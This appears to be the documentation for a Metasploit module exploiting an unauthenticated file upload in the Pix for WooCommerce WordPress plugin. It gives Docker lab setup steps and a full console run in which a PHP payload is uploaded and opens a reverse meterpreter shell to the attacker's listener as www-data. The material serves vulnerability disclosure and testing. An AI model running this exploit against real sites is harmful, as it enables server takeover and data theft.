## Vulnerable Application

This Metasploit module exploits an Unauthenticated Arbitrary File Upload vulnerability in the Pix for WooCommerce plugin for WordPress.

Attackers can leverage the missing capability check and insufficient file type validation in the 'lkn_pix_for_woocommerce_c6_save_settings' function to upload arbitrary files to the affected server, which may lead to remote code execution under the web server's privileges.

The affected versions include all releases up to and including 1.5.0.

## Testing

1. Create a `docker-compose.yml` file:

```yaml
services:
  wordpress:
    image: wordpress:6.8.0
    container_name: wplab
    restart: always
    ports:
      - 5557:80
    environment:
      WORDPRESS_DB_HOST: db
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: wordpress
      WORDPRESS_DB_NAME: wordpress
    depends_on:
      - db

  db:
    image: mysql:5.7
    container_name: wpdb
    restart: always
    environment:
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress
      MYSQL_PASSWORD: wordpress
      MYSQL_RANDOM_ROOT_PASSWORD: 1
```

2. Start the containers:

```bash
docker compose up
```

3. Install WP-CLI

```bash
docker exec wplab curl -sO https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar
docker exec wplab bash -c "chmod +x wp-cli.phar && mv wp-cli.phar /usr/local/bin/wp"
```

4. Install WordPress

```bash
docker exec wplab wp core install \
  --path='/var/www/html' \
  --url='http://localhost:5557' \
  --title='WordPress' \
  --admin_user='admin' \
  --admin_password='admin' \
  --admin_email='admin@example.com' \
  --allow-root
```

5. Install WooCommerce and Pix for WooCommerce

```bash
docker exec -u www-data wplab wp plugin install woocommerce --version=10.5.3 --path='/var/www/html' --activate --force
docker exec -u www-data wplab wp plugin install payment-gateway-pix-for-woocommerce --version=1.5.0 --path='/var/www/html' --activate --force
```

## Scenario

```
msf > use multi/http/wp_plugin_pix_unauth_rce_cve_2026_3891
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf exploit(multi/http/wp_plugin_pix_unauth_rce_cve_2026_3891) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(multi/http/wp_plugin_pix_unauth_rce_cve_2026_3891) > set RPORT 5557
RPORT => 5557
msf exploit(multi/http/wp_plugin_pix_unauth_rce_cve_2026_3891) > set LHOST docker0
LHOST => docker0
msf exploit(multi/http/wp_plugin_pix_unauth_rce_cve_2026_3891) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/http/wp_plugin_pix_unauth_rce_cve_2026_3891) > run
[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Retrieving AJAX nonce...
[+] Successfully retrieved nonce: c0175ab144
[*] Uploading payload as ZKfGdglt3X.php...
[+] Payload uploaded successfully
[*] Triggering at /wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/ZKfGdglt3X.php...
[*] Sending stage (42137 bytes) to 172.18.0.3
[+] Deleted ZKfGdglt3X.php
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.18.0.3:36314) at 2026-07-19 05:44:50 -0400

meterpreter > sysinfo
Computer        : 0f33dc278e74
OS              : Linux 0f33dc278e74 6.18.12+amd64 #1 SMP PREEMPT_DYNAMIC 6.18.12-1 (2026-02-25) x86_64
Architecture    : x64
System Language : C
Meterpreter     : php/linux
meterpreter > getuid
Server username: www-data
```